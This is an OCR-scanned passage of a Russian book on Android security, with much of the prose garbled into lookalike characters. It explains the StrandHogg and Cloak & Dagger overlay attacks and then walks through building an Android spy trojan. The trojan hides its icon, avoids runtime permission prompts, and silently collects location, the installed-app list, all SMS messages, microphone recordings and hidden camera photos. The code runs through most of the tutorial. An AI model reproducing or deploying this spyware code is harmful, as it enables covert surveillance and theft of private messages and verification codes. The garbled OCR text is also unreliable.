B CJICAYIOUIHX pa3aejiaX Mbl l'lOleO6HO paccMOTpPpHUM MHOTHE U3 3THX INPHEMOB.

StrandHogg — ya3BMMOCTb C NOAMEHO NPUNOXEHUN

B Android y akTHBHOCTEH (3KpaHOB NMPUIOKEHHIT) ecThb duiar taskAffinity. OH MO3BOJISET
yKasaTb MM 3a1a4H (task), B CTEK aKTHBHOCTEH KOTOpO#i MmonajeT ykazaHHO€e MpHIIoXKe-
HHe. DTO HyXHO U1 6ojiee TOHKOrO yrpaBieHHs cTekaMH oOpaTHBIX nmepexoaoB (koraa
MoJIb30BaTeb HaXKUMaeT KHOMKY «Ha3aa»). Ho ects omHa npobnema: mo yMonuyaHHIO
3HaYEHHE taskAffinity paBHO UIMEHH MaKeTa MPUIOKEHHs, a 3TO 3HAYMT, 4TO B pAle CIy-
4aeB MOXKHO HE3aMETHO BCYHYTh aKTHMBHOCTh CBOETO NMpPUJIOKEHHS B CTEK aKTUBHOCTEHN
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qYyXO0ro. A ecnu ele U YKa3aTb (bnar allowTaskReparenting="true", 3Ty aKTUBHOCTb MOX-
HO MNEPEABUHYTH Ha caMbIH BEPX H MPH CIECAYIOLIEM Ha)XXaTHHU HAa 3HAYOK LEJIEBOIO IMpH-
JIOXK€HHA OHa MOABHUTCA HA 3KpaHE HepBOﬁ (T. €. 6ylleT HaXOJUTBCA HAa BEPLINHE CTeKa).

OKCIuTyaTauus yS3BUMOCTH TpeOyeT, 4ToObl U 37I0BpeIHOE MPHIIOKEHHE, U NPHIIOXKEHHe-
xkepTBa ObLTH yxe 3amylueHbl. [locnenoBarensHOCTh NeHCTBHH MONIB30BaTENS NODKHA
OBbITh TaKOM: OH 3alyCKaeT NPHJIOKEHHEe-KEPTBY, Bo3Bpaluaercs Ha Pabouuii cron, 3aTeM
3alyCKaeT 3/I0BpeJHOE IpPUIOXKEHHE, 3aTeM CHOBAa 3allyCKaeT MpPUJIOKEHHE-KEPTBY.
B 3T0T MOMEHT BMecTO Xos0aHOro 3amycka Android akTHBHU3HPYET CaMylO «BEPXHIOIO»
aKTHBHOCTb B CTEKE, a €10 OKa3bIBA€TCH AKTHUBHOCTD 3JIOBPETHOTO MPHJIOKEHHS.

Google oTka3bIBaeTCH UCNIPABIATh YI3BUMOCTh Ha MPOTSHXKEHUH HECKOJbkHX JieT. [IpocTo
MOTOMY, YTO 3TO Tak Ha3biBaeMblii design flaw, T. e. omM6ka MPOEKTUPOBAHHUSA, UCTIPAB-
JIEHHe KOTOpoi ciomaeT cyuiecTByrowui codpr. Ho ecth u kycrapHoe petienue. Jlocra-
TOYHO YKa3aTh taskAffinity="" B 3JIEMEHTE Application, H BCE AKTUBHOCTH MPHIOKEHUS
CTaHYT HeysA3BUMbI K IaHHOH aTake.

Cloak & Dagger

Cloak & Dagger — uenbiii kacc atak Ha Android, ocylecTBIS€MbIX C HCIIOJIB30BaHHEM
nerutuMHbIX API cucrembl. Bce OHM 3KCIUTyaTHpYIOT pa3pelieHHe SYSTEM ALERT WINDOW
Ju1s oOMaHa noJsib30BaTelis U MOJy4eHHs IOMOJHUTENBHBIX NPaB B CUCTEME, HO (pakTHYe-
CKM OOJIBIIMHCTBO aTak BKJIIOYAIOT B cebs ApYr Ipyra M YHHKaJbHBIX OCTaeTCs BCEro
nge: Clickjacking u Invisible Grid Attack.

Araka Clickjacking o6MaHOM 3acTaBiseT nojb30BaTeNs akTHBUPOBATh cepBUC Accessibi-
lity, oTkpbiBaroIMii NpakTHYeCKH Oe3rpaHHyYHble BO3MOXKHOCTH B CHCTeMe (MOXHO
MpOrpaMMHO HaXKMMaTh Ha JitoOble 35ieMeHThl HHTepdeiica). UToObl 3TO caenark, B Xo1e
aTaKH HCIOJb3YyeTCs pas3pellleHHe SYSTEM ALERT WINDOW, KOTOpPOE€ IMO3BOJISE€T BBIBOAMTH
aneMeHThl HHTepdekica MoBepX Apyrux MPUIOKEHUH, T. €. peai30BaTh TaKUE BELUH, KaK
MJ1aBalollMe OKHA, MEHIO, MaHEJH YNPaBJIEHUS U T. 1.

Coznartenu BUPYCOB YK€ JaBHO CMEKHYJIH, YTO 3Ty BO3MOXKHOCTb MOXXHO MCIOJIb30BaTh
JUTS TIEPEKPBITHA TEKYLIEro OKHa Ha 3KpaHe U oOMaHa MoJb30BaTelis, I03TOMY C BepcHei
Android 5 Google BblkaTHIa 3alUUTY, KOTOpas MPOBEPSAET, HE ObUT JIM MEPEKPHIT KaKOH-
b0 onacHbIi U1 BKJIIOYEHHS JJIEMEHT HHTepdeica oBepiieeM, W OTKa3bIBAJICA €ro
BKJIIOYMTH, eciu 310 Tak. [lostomy Cloak & Dagger BMecTo ofHOro oBepliess Ha BECh
9KpaH CO3JaeT HECKOJIbKO HEOOJNBIIMX M BBIKJIAbIBAET UX BOKPYT 3JIEMEHTa YIpaBJIeHHS,
TaK 4TO B pe3yJibTaTe 3allMTa He cpabareiBaeT (puc. 13.5).

Invisible Grid Attack mo3Bonser peanu3oBaTh Keiorrep, KOTOpbli Oyner mepexBaThbl-
BaTh JIOOble HaXXaTUs Ha BHUPTyalbHOH KkiaBHaType. Kak W mpenbinylias araka, OH
UCTIONIb3YET pa3pellieHHe SYSTEM ALERT WINDOW, HO JeJIaeT 3TO Kyaa Ooniee M30LIPEHHBIM
criocobom.

YT1o6bl MOHATH 3Ty aTakKy, Hy)KHO MOHATh, Kak paboTaeT SYSTEM ALERT WINDOW. OTo APIL,
KOTOpbIH MO3BOJISET CO31aTh rpaduueckoe OKHO MOBEPX APYroro okHa (oBepiei) ¢ BO3-
MOXKHOCTBIO nepexBara HakaTuH. OKHO MOXeT ObITh MpO3payHbIM HJIM 3aIOJIHEHHBIM
LIBETOM M 3JIeMEHTaMH MHTepdekca, HO OTHOBPEMEHHO MOXET JIMOO nepexBaThiBaTh Ha-
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’aTHA MONb30BaTeNs, He MPOIycKas MX HHxe, JIMOo nmpomyckaTh, He nepexBaTbiBas. To
€CTb Helb3s MPOCTO HAapHCOBaTh MPO3payHblii OBepJieii MoBepX KJIaBHATYphl U «MPOCIY-
waTte» Bce HaxaTusa. CucreMa paspewiaer JHOO MOMHOCTBIO MEPEXBATHTh HAXATHA,
4YTOo6BI OHH HE JOLITH A0 pealbHOH KJIaBHATyphl, JIHOO MPOMYCTHTh MX MOJHOCTHIO Ge3
BO3MOXHOCTH Y3HATh, Ky/la KOHKPETHO HaXKal MOJIb30BAaTeb.

Implant
orn

Puc. 13.5. O6xoa 3awuThl Ha BrNOYEHKUe Accessablility Service c nomowsio 3—4 osepnees

Ho ectb oaMH HioaHC: Aaxe Mporyckas HakaTusd CkBO3b ceOs, oBepened MO3BOJAET
y3HaTh, HaXal /1M MONb30BaTenb B oOlacTe oBepies WiM 3a ero npenensl (dnar
FLAG_WINDOW_IS_OBSCURED). B MTOre Mo>XHO cO31aTh CIIO€HBIi MMPOr U3 OBEPJIEEB Pa3HOT0O
pa3Mepa, pa3METHTh €ro MoBepX KJIaBHaTypbl U ONpENeNHTh (aKT HaKATHA Ha Ty WIH
HHYIO KHOTIKY IyTeM MPOCMOTpa COCTOAHHUA (raroB Bcex oBepreeB. JlomycTuM, KiaBHa-
Typa cocTouT U3 AByX KiaBuil: A u B. Co3naB nBa oBepnesi, OOMH U3 KOTOPBIX MEPEKPBI-
BaeT A, a BTopoii — B, MOXHO TOYHO y3HaTh, KyAa Ha)all MOJb30BaTeNb: €CIH MHMO
oBepiies A — 3HA4MT, Ha KiaBuwy B, ecnu MuMo oBepries B — Ha iutaBuiy A.

ITpo6nema c Cloak & Dagger coctouT B TOM, uTO 310 eiue oauH design flaw Android, a
He KIaccHyeckas ysa3BHMOCTb. JTO 3Ha4HT, 4YTO, kKak U npobnemy StrandHogg, ee HeBo3-
MO>XHO MCMPaBUTh, MOXKHO JIMIUb MHHUMH3HpOBaTh pUckH. Google caenana 310 B He-
CKOJbKO L1aros:

1. B Google Play Tenepsb ectb Genbiii CTUCOK NMPHIOKEHHH, KOTOpblE MOTYT MOJYYHTh
pa3pelLlleHHe SYSTEM ALERT WINDOW 6€3 HeoOXOAMMOCTH ero 3ampalidBaTth (paHblUE BCE
npunoxenus u3 Google Play mony4anu ero aBToMaTH4YeckH).

2. Hauunas c Android 8, oBeprier He MOryT nepekpbiBaTh CTPOKY COCTOSIHHA, a caM
oBepJieii MOXHO OBICTPO OTKITIOYHMTH B MAHENH YBEIOMIIEHHH. JTo cenaHo s 6ope-
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OBl C BBIMOraTe€JIsIMH, MOKa3bIBalOLIUMH TMOBEPX 3KpaHa OBepneﬁ, KOTOpblﬁ HECJIb34
HHKaKHUM 06pa30M OTKJIKOYHTD.

3. Haumnnas ¢ Android 10, npunoxenus, ycraHoBieHHble He U3 Google Play, nuwarorcs
paspelleHHs Ha rnoka3 oBeseeB uepe3 30 cekyHA Mmocie Toro, Kak npuioxeHHe Oyaer
3aBeplIeHo WK nepe3amyueHo. [Tpunoxenuns u3z Google Play nuwarcs storo paspe-
LIEHHUS NoCiIe nepe3arpy3KH.

4. B Android 12 pans pa3paboTuMkOoB MpuWiIOXKeHHH Obil  nobaBieH MeTon
setHideOverlayWindows (https://developer.android.com/reference/android/view/
Windowt#setHideOverlayWindows(boolean)), oTkiouaroumii no6eie oBepiieH, Ko-
TOpbIE HAXOAATCS MOBEPX MPHIOXKEHUS B JAHHBIH MOMEHT.

5. B Hactpoiikax Android Teneps ecTh OMLKMSA, NOJTHOCTBIO 3aMpellaroas HCroJib30BaTh
OBEpJIeH MOBEPX OKHA HACTpoeK (M0 YMOTYaHHIO OTKJIIOUEHA).

TTepekpbiTue AMANOros 3anNpoCOB paspeleHuiA

Pa3pelieHue SYSTEM ALERT WINDOW MOXKHO HMCIOJNb30BaTh Mo-apyroMy. Hanpumep, utoObl
HapHCOBAaTh MOBEPX CHCTEMHOTrO OKHA 3ampoca MOJTHOMOUHH, MCTONIb3yeMOro MpHIIoXkKe-
HHMSAMH [T 3anpoca Mpae Ha TO WJIM MHOE JIeHCTBHE, CBoe coOCcTBEHHOE OkHO. B mocnen-
HUH pa3 3Ta ys3BUMOCTh Oblna onMcaHa B crathe «[lopvensem Runtime permissions
B Android» (https://habr.com/ru/post/531668/), ee apTop naxxe Hamucan GUOIHOTEKY,
MO3BOJIAIOLLYIO C/ENaTh 3TO 6€3 JIMLIHKX XJIOMNOT.

Google B kypce 3Toii mpobiembl M [Jaxe «HCTpaBWia» €€ cpasy NpH TMOSBICHHH
B Android cucteMs 3anpoca paspeweHuii (Android 6.0), Ho yxxe B Bepcuu Android 7.0
OTKa3ajach OT Hee M3-3a MHOTOYMCIIEHHbIX Xanob mnosb3oBateneil codra ¢ pyHKUHEH
SYSTEM ALERT WINDOW (3KpaHHbIE€ (HIBTPBI, CHCTEMBbI )KECTOBOHW HaBWUTalHH, pa3jIH4HbIE
BCIUTBIBAIOLIME MEHIO M T. .). CuctemMa npocto 6J10KHpOBajia BO3MOXHOCTb J1aTh pa3pe-
LIEHHE, €CITH Ha IKpaHe HaXOAMJICS OBEpJIei.
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TTuwem BpeAOHOCHYIO NPOrpaMMmy
Ana Android

Hrak, Hawa 3agaya — pazobpaTbes, kak paboTalOT COBpEMEHHbIE 3JI0BPEIHbIE MPHJIIO-
KeHHs. A nyquui cnocob 3To caenaTte — co31aTh TaKoe NMPUII0KEHHE CAMOCTOSATENBHO.
Kak u 60eBoit 3n0Bpes, Hall npuMep MNMpH JKelaHUKW CMOXeT HabiioxaTh 3a LENeBbIM
YCTPOHCTBOM M NepeaBaTh HHGOPMaLHMIO O HEM Ha cepBep.

BosMmoxcHocTH 6yayT cnenyrowue:

cbop MHPOpPMaLIMK O MECTOMNOJIOXKEHHH YCTPOMCTBA;
TNOJIy4EeHHE CIMHUCKA YCTAaHOBJIEHHBIX MPHIIOKEHHIA;
nonyyeHue SMS;

3alrChb ayaHo;

Qoaoaaao

CheMKa 3aiHel UM QPOHTANBbHOM KaMepoH.

Bce 310 npunoxenne 6yaeT OTNpaBisTh Ha yAaleHHbIH cepBep, Ile Mbl CMOXEM Mpo-
aHaJIM3UpOBaTh pe3yJbTaThl €ro paboThl.

CoBpemeHHble Android-cmapTgoHbl MoryT 6nokuposatbe paboty TposHa B ¢oHe unu 3a-
NpeTUTb EMy CKpbiBaTb CBOIO MKOHKY. PelueHue 3tux npobnem moxeT GbiTb BECbMa CNOX-
HbIM, NOTOMY YTO NPOWU3BOAUTENU UCNONb3YIOT pa3NUYHbleE HECOBMECTUMbIE Mexay coboin
MexaHWU3Mbl 3HeprocbepexeHns 1 3awmuTbl YCTPOCTBA.

Kapkac

[To MOHATHBIM NMpPHUYMHAM s HE CMOTY MPWBECTH MOJHBIH KOA NMpPWJIOXKEHHS B KHHre,
MO3TOMY HEKOTOpbIE 33a1a4X BaM NPHIETCS BHIMOJIHUTE caMocToATeNbHO. s 3TOro no-
TpebyloTcs koe-kakve 3HaHUs B pa3paboTke npuiioxkeHuit ais Android.

Ha nepBom 3Tane 3anaua cieayrowias: co3aTh MPUIOKEHHE C MyCcThIM (WM npocTo 6e3-
o6uaHeIM) HHTepdeiicoM. Cpady nociie 3amycka MpHUI0KEHHE CKPOET CBOIO HMKOHKY,
3aMyCTHT CEpBHC M 3aBepLUMTCs (cepBHC NpH 3TOM OyneT npoxoykare paborarts). dns
Hayasa co3JaJiM HOBOE MPUJIOXKEHHE, YKa3aB B MaHUGeCTe ClieyIOLHE pa3pelleHHs:
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<uses-permission android:name="android.permission.ACCESS _COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />

<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD AUDIO" />
<uses-permission android:name="android.permission.RECEIVE BOOT COMPLETED"/>
<uses-permission android:name="android.permission.READ PHONE STATE" />
<uses-permission android:name="android.permission.PROCESS OUTGOING CALLS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ SMS" />
<uses-permission android:name="android.permission.QUERY ALL PACKAGES"/>

B build.gradle yKakuTe compileSdkVersion 22 M targetSdkVersion 22. Tak MbI U30aBUM
NpHIOKEHHE OT HEOOXOAUMOCTH 3aMpauiuBaTh pa3pelieHHs Bo BpeMs paboTsl. 22 — 3710
Android 5.1, obs3arenbHblit 3anpoc pa3pewieHnid nosuiacs B 23 — Android 6.0, Ho
paboTats npunoxenue Oynet B oboi Bepcuu 10 Android 14, ¢ TeM UCKJTIOUEHHEM, UTO,
HauyMHas ¢ Android 10, oHo OyneT 3anpauiMBaTh BCe pa3peLleHUs cpa3y Mocje YCTaHOBKH.

Coznanum mycroit Service. B MeTon onStartCommand cepBrca J0OaBHM ClieyIOIHE CTPOKH:

override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
val notificationIntent = Intent (this, MainActivity::class.3java)
val pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, 0)
val notification = NotificationCompat.Builder(this, "default")
.setContentTitle (notificationTitle)
.setContentText (input)
.setSmallIcon(R.drawable.ic icon)

.setContentIntent (pendingIntent)
.build()

startForeground (1, notification)

return START NOT STICKY

3710 Tak Ha3biBaeMblii foreground service. B HeM Haiu 310Bpea OyAeT BBINMOJHATH OCHOB-
Hyto paboty. Foreground service 6yner BUaeH B CHCTEME KaK MOCTOSHHOE YBEIOMIIEHHE,
M C 3TUM MaJjlo YTo MOXHO caenatb — Google 3anpetuna ucnonb3oBaHHe GOHOBBIX He-
BUIUMBIX cepBHCOB B Android 8. EXMHCTBEHHbIH TpIOK, KOTOpPBIH MBI MOXXEM MpHMe-
HHTb, YTOOBI KaK-TO CKpPBITh Hallle MPUCYTCTBHE, — CAEIaTh UKOHKY (R.drawable.ic_icon)
NpO3payHOH MM BBIOPaTh HKOHKY H3BECTHOTO JIETHTUMHOTO MPHIIOXKEHHS.

Taxxke HaM HykHa Activity. Tak kak 37m0Bpen OyneT BBIMONHATH BCIO paboOTy BHYTpH
cepBHCca, aKTUBHOCTb HYXKHa HaM MPOCTO VIS TOTO, YTOOBI 3aITyCTHTh CEPBUC. TO MOX-
HO cJienaTh ¢ MOMOILBIO TaKOro KoJja:
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void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState)

// 3anyckaem CepBUC
startService (new Intent (this, MainService.class));

// OrkymouaeM Activity

ComponentName cn = new ComponentName ("com.example.app",
"com.example.app.MainActivity");

pm.setComponentEnabledSetting(cn,
PackageManager.COMPONENT ENABLED STATE DISABLED, PackageManager.DONT KILL APP);

3toT KO 3almyCTHUT CEPBHUC Cpa3y MOCJIC 3aIyCKa NMPHUIOXKEHHUSI U OTKIIIOYUT aKTHBHOCTb.
[To6ouHBIM B(b(bCKTOM MOCJICAHETr O ﬂeﬁCTBH}I CTAHET 3aBEPLUCHHUE NMPHIIOKEHHUA H UCUE3-
HOBEHHE MKOHKHU U3 JayH4epa. CepBHc rpoaopkut paboty. Hakoneu, nobaBum onmuca-
HUe cepBHca U Activity B MaHHu(ecT (31ech U Janiee Halle npuioxeHue OyleT Ha3bIBaTh-
cAa com.example.appy

<activity
android:name="com.example.app.MainActivity"

android:label="@string/app name"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<service
android:name="com.example.app.MainService"
android:enabled="true"
android:exported="false">

</service>

MHpopmauua o mectononoxeHum

Teneps MbI JODKHBI JOOABUTH B CEPBUC KOJ, KOTOPBIH OyneT coOupaTh HHTEPECYIOLLYIO
Hac uHpopMmaumio. HauneM ¢ onpenenenus Mecrononoxenus. B Android ectb Heckosnb-
KO CrOCOOOB MOJNYYUTh TEKYLHe KOOpAUHATHI ycTpoiicTBa: GPS, Mo COTOBBIM BBILIKaM,
no Wi-Fi-poytepam. U ¢ kaxxapIM U3 HUX MOXHO paboTaTh AByMs criocobaMu: Jubo mo-
MPOCUTh CHUCTEMY ONpPENESIUTh TeKyliee MECTONMOJOXKEHHEe W BBI3BaTh MO OKOHYaHUH
onepaluy Hal Kook, mbo cnpocuts OC 0 TOM, Kakue KOOPJHUHATHI OBUTH MOJTY4EHBI
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B MOCJIEHHI pa3 (HanpHMep, B pe3ysIbTaTe 3alpOCOB Ha OMpeAeIEHHE MECTOMOIOKEHHUS
OT ApYrUX NPHIIOKEHHH).

B HaimeM ciydyae BTopoii crnoco6 HamHoro yao6Hee. OH ObICTpBIi, aGCOMOTHO He3aMe-
TEH JUIA MOJIb30BaTeNs (He MPHBOJMT K MOSBIEHHIO HKOHKH CITyTHHKA B CTPOKE COCTOS-
HHA) M HE pacXofyeT pecypchl akkyMyasTopa. Kpome Toro, ero oueHs MpocTo HCMOJB-
30BaTh:

Location getlastLocation(Context context) ({

LocationManager 1Manager = (LocationManager)
context.getSystemService (Context.LOCATION SERVICE);

android.location.Location locationGPS =
1Manager.getLastKnownLocation (LocationManager.GPS_PROVIDER) ;

android.location.Location locationNet =
1Manager.getLastKnownLocation (LocationManager.NETWORK PROVIDER) ;

long GPSLocationTime = 0;
if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

long NetLocationTime = 0;
if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

Location loc;

if ( 0 < GPSLocationTime - NetLocationTime ) {
loc = locationGPS;

} else {. ‘
loc = locationNet;

if (loc != null) {
return loc;

} else {
return null;

JaHHas ¢yHKIMS CrpallliBaeT CUCTEMY O MOCIEAHUX KOOpAMHATAaX, MOMTYyYEHHBIX C IMO-
MOILBIO OMNpeNeNIEHHs: MECTOMNONOXKEHHS MO COTOBBIM BbilIkaM M no GPS, 3zatem Geper
caMble CBEXXHE JlaHHble M BO3BpalLaeT Ux B popme obbekta Location. lanee Mo>xHO H3-
BJI€Yb LUMPOTY M JOJTOTY M 3amucaTh UX B (aiil BHYTPH MPHUBATHOIrO KaTajora Hallero
NPHIIOXKEHHUS:

Location loc = getLastKnownLocation (context)
String locationFile = context.getApplicationInfo().dataDir + "/location"
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tEy |
OutputStreamWriter outputStreamWriter = new
OutputStreamWriter (context.openFileOutput (locationFile, Context.MODE PRIVATE));

outputStreamWriter.write(loc.getLatitude() + " " + loc.getLongitude);
outputStreamWriter.close();

}
catch (IOException e) {}

Koraa npuaer BpeMs oTnpaBisTh JaHHbIe Ha CEpBEP, Mbl MPOCTO OTAAAMM €My 3TOT H
apyrue gamsi.

CNUCOK YCTAHOBMEHHLIX NPUNOXeHWiA

[lony4uTb CHMCOK YCTAaHOBNEHHBIX MPHUIOKEHHH ellie MpoLe:

| S

void dumpApps (Context context)
String appsFile = context.getApplicationInfo().dataDir + "/apps"

final PackageManager pm = context.getPackageManager ():

List<ApplicationInfo> packages =
pm.getInstalledApplications (PackageManager.GET META DATA);

try {
PrintWriter pw = Files.writeLines (appsFile);

for (ApplicationInfo packagelnfo : packages) f{
if (!isSystemPackage (packageInfo))

pw.println(pm.getApplicationLabel (packageInfo) + ": " +
packageInfo.packageName) ;

pw.close();
} catch (IOException e) {}

private boolean isSystemPackage (ApplicationInfo applicationInfo) {
return ((applicationInfo.flags & ApplicationInfo.FLAG SYSTEM) != 0);

MeToa nonyuyaet cnucok Bcex MpHUIOMKEHHH U coxpaHseT ero B ¢ais apps BHYTpH MpH-
BaTHOrO KaTasora npHaoMXeHHs.
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Oamn SMS

Oty 3amauy pewHTh yxe ciokHee. UToObl MOMYyYHTH CITHCOK BCEX COXpaHEHHBIX SMS,
HaM HeoOX0AUMO MoAKIOUNTECS K B/ M NpOHTHCH MO Hel B MOMCKaX HYXHBIX 3allUCel.
Kon, no3ponstoumii naMnuyTh Bce SMS B (haiin, BHITISANT Tak:

void dumpSMS (Context context, String file, String box) {
SimpleDateFormat formatter = new SimpleDateFormat ("yyyy.MM.dd HH:mm:ss",
Locale.US) ;

Cursor cursor = context.getContentResolver () .query(Uri.parse("content://sms/" +
box), null, null, null, null);

try {
PrintWriter pw = Files.writeLines(file);

if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;

String body = null;

for (int idx = 0; idx < cursor.getColumnCount (); idx++) {
switch (cursor.getColumnName (idx)) {

case "address":
address = cursor.getString(idx);
break;

case "date":
date = cursor.getString(idx);
break;

case "body":
body = cursor.getString(idx);

if (box.equals("inbox")) {
pw.println("From: " + address);
} else {
pw.println("To: " + address);

String dateString = formatter.format (new Date (Long.valueOf (date)));

pw.println("Date: " + dateString);
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if (body != null) {

pw.println("Body: " + body.replace('\n', ' '));
| else {

pw.println("Body: ");

pw.println();
} while (cursor.moveToNext());
}
pw.close() ;
cursor.close() ;
} catch (Exception e) {}

Hcnonw3oBats €ro CIEAYET TaK:

// CoxpaHseM CIMCOK BCeX MOJIydeHHbIX SMS
String inboxFile = context.getApplicationInfo().dataDir + "/sms_inbox"
dumpSMS (context, inboxFile, "inbox");

// CoxpaHseM CIMCOK OTIpaBjeHHbX SMS
String sentFile = context.getApplicationInfo().dataDir + "/sms_sent";
dumpSMS (context, sentFile, "sent");

3anucH B ¢aiine OyayT BbIMIAAETb MPUMEPHO TaK:
From: Google

Date: 2017.02.24 06:49:55

Body: G-732583 is your Google verification code.

3anucb ayauo

3anucate ayauo ¢ MUKpodoHa MoxHo ¢ nomoupio APl MediaRecorder. JoctatouHo
nepenaTth €My rMapaMeTpbl 3aMMCH M 3aMyCTHTh €€ C MOMOLUBI0 MeToAa start (). OcTaHo-
BHTb 3alIHCh MOXKHO C MOMOILBIO MeToAa stop(). Ceayomni Koa JEMOHCTPUPYET, Kak
310 cnenatb. B 1aHHOM ciyyae Mbl HCMOJIb3yeM OTAENbHbIH CMALUMHA MOTOK, KOTOPBIH
MpOCHINaeTcs MO UCTEYEHHH 3alaHHOMO TaHM-ayTa U OCTaHABJIMBAET 3aIHCh:

i java

void recordAudio (String file, final int time) {
MediaRecorder recorder = new MediaRecorder () ;

recorder . setRudioSource (MediaRecorder.AudioSource.MIC) ;
recorder.setOutputFormat (MediaRecorder.OutputFormat.THREE GPP);
recorder . setAudioEncoder (MediaRecorder.AudioEncoder.AMR NB) ;
recorder.setOutputFile (filej;



192 HACTG il

lnasa 14

try {
recorder.prepare () ;
} catch (IOException e) {}

recorder.start () ;

Thread timer = new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(time * 1000);
} catch (InterruptedException e) {
Log.d(TAG, "timer interrupted");
} finally {
recorder.stop!() ;
recorder.release () ;

1)

timer.start();

Hcsions3oBaTh ero MOXXHO, HallpuMeEp, Tak:

Java

DateFormat formatter = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss", Locale.US);
Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + "/audio-";

recordAudio (filePrefix + formatter.format (date) + ".3gp", 15);

JaHHbpli kon cpaenaer 15-CeKyHOHYIO 3almuChb M TOMECTHT ee B (ali audio-IATA-

/-BPEMS. 3gp.

Cbemka

C kamepoii croxHee Bcero. Bo-nepBbix, mo-xopoiuemy HeoOXoauMo yMeTb paboTaTth
cpazy ¢ aeymsa APl kamepsl: knaccuyeckuM W Camera2, kotopeii nmoseuics B And-
roid 5.0 u ctan ocHoBHbIM B 7.0. Bo-BTOpBIX, APl Camera2 yacto paboraeT HEeKOppeKTHO
B Android 5.0 u ngaxxe B Android 5.1, k 3TOMy HYXHO OBITH TOTOBBIM. B-TpeTbux,
Camera2 — cioxHbIH ¥ 3anmyTaHHbId API, ocHOBaHHBIH Ha KOJNO3KaxX, KOTOpPbIE BBI3bI-
BalOTC B MOMEHT M3MEHEHHMs COCTOSHHA Kamepbl. B-ueTBepThIX, HH B KJ1acCHYECKOM
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API xamepsl, Hu B Camera2 HeT cpeACTB [UiA CKphIToH cheMKH. OHH 06a TpebyroT noka-
3bIBAaTh MPEBBIO, H ITO OrpaHHYEHHE NpHIETCA 0OXOIUTH C MOMOMIBIO XaKOB.

VuyputeiBadg, uto ¢ Camera2 paGOTaTL HAaMHOro CJIOKHE€E, a OITHCaHHC HIOAHCOB pa60'r51
C KaMCPOFl BBIXOJHUT 3a paMKH 3TOM KHHTH, A NpoCTO NpHBEAY BECh KOA Kiacca Ijid
CKpLITOﬁ ChEMKH. A BBl MOXeETe JIMOO HMCIOJIb30BaTh €ro Kak €CTb, 6o nonpo6osarb
pa306paTbcx C HUM CaMOCTOATEIBHO!

public class SilentCamera2 {

private Context context;

private CameraDevice device;

private ImageReader imageReader;

private CameraCaptureSession session;

private SurfaceTexture surfaceTexture;

private CameraCharacteristics characteristics;
private Surface previewSurface;

private CaptureRequest.Builder request;
private Handler handler;

private String photosDir;

public SilentCamera?2 (Context context) {
this.context = context;

private final CameraDevice.StateCallback mStateCallback =
new CameraDevice.StateCallback() {
@Override
public void onOpened (CameraDevice cameraDevice) {
device = cameraDevice;

try {
surfaceTexture = new SurfaceTexture (10);
previewSurface = new Surface (surfaceTexture) ;

List<Surface> surfacelist = new ArrayList<>();
surfaceList.add (previewSurface);
surfaceList.add (imageReader.getSurface());

cameraDevice.createCaptureSession (surfacelist, mCaptureStateCallback,
handler) ;

} catch (Exception e) {
}
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@Override
public void onDisconnected (CameraDevice cameraDevice) {

@Override
public void onError (CameraDevice cameraDevice, int error) {

}i

private CameraCaptureSession.StateCallback mCaptureStateCallback =
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured (CameraCaptureSession captureSession) {
session = captureSession;

try {
request =
device.createCaptureRequest (CameraDevice.TEMPLATE PREVIEW) ;

request.addTarget (previewSurface) ;

request.set (CaptureRequest.CONTROL AF TRIGGER,
CameraMetadata.CONTROL AF TRIGGER START) ;

captureSession. setRepeatingRequest (request.build(),
mCaptureCallback, handler);

} catch (Exception e) {
}

@Override
public void onConfigureFailed (CameraCaptureSession mCaptureSession) {}

¥i

private CameraCaptureSession.CaptureCallback mCaptureCallback =
new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted (CameraCaptureSession session,
CaptureRequest request,
TotalCaptureResult result) {

}i

private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
new ImageReader.OnImageAvailableListener() ({
@Override
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public void onImageAvailable (ImageReader reader) {
DateFormat dateFormat = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss");
Date date = new Date();

String filename = photosDir + "/" + dateFormat.format(date) + ".jpg";
File file = new File(filename);

Image image = imageReader.acquirelatestImage();

try {
ByteBuffer buffer = image.getPlanes() [0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get (bytes);

OutputStream os = new FileOutputStream(file);
os.write (bytes);

image.close() ;
os.close();

} catch (Exception e) {
e.getStackTrace() ;

closeCamera () ;
}i

private void takePicture() {
request.set (CaptureRequest.JPEG_ORIENTATION, getOrientation());

request.addTarget (imageReader.getSurface());
try {

session.capture (request.build(), mCaptureCallback, handler);
} catch (CameraAccessException e) {

}

private void closeCamera() {

try {
if (null != session) {
session.abortCaptures() ;
session.close();
session = null;
}
if (null !'= device) {

device.close();
device = null;
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if (null !'= imageReader) {
imageReader.close () ;
imageReader = null;
}
if (null != surfaceTexture) {
surfaceTexture.release();
}
} catch (Exception e) {
}

public boolean takeSilentPhoto(String cam, String dir) ({
photosDir = dir;
int facing;

switch (cam) {

case "front":
facing = CameraCharacteristics.LENS FACING FRONT;
break;

case "back":
facing = CameraCharacteristics.LENS FACING BACK;
break;

default:
return false;

CameraManager manager = (CameraManager)
context.getSystemService (Context.CAMERA SERVICE);

String camerald = null;

characteristics = null;
try {
for (String id : manager.getCameraldList()) {

characteristics = manager.getCameraCharacteristics(id);

Integer currentFacing =
characteristics.get (CameraCharacteristics.LENS FACING) ;

if (currentFacing != null && currentFacing == facing) {
camerald = id;
break;

}
} catch (Exception e) ({
return false;

HandlerThread handlerThread = new HandlerThread ("CameraBackground");
handlerThread.start () ;
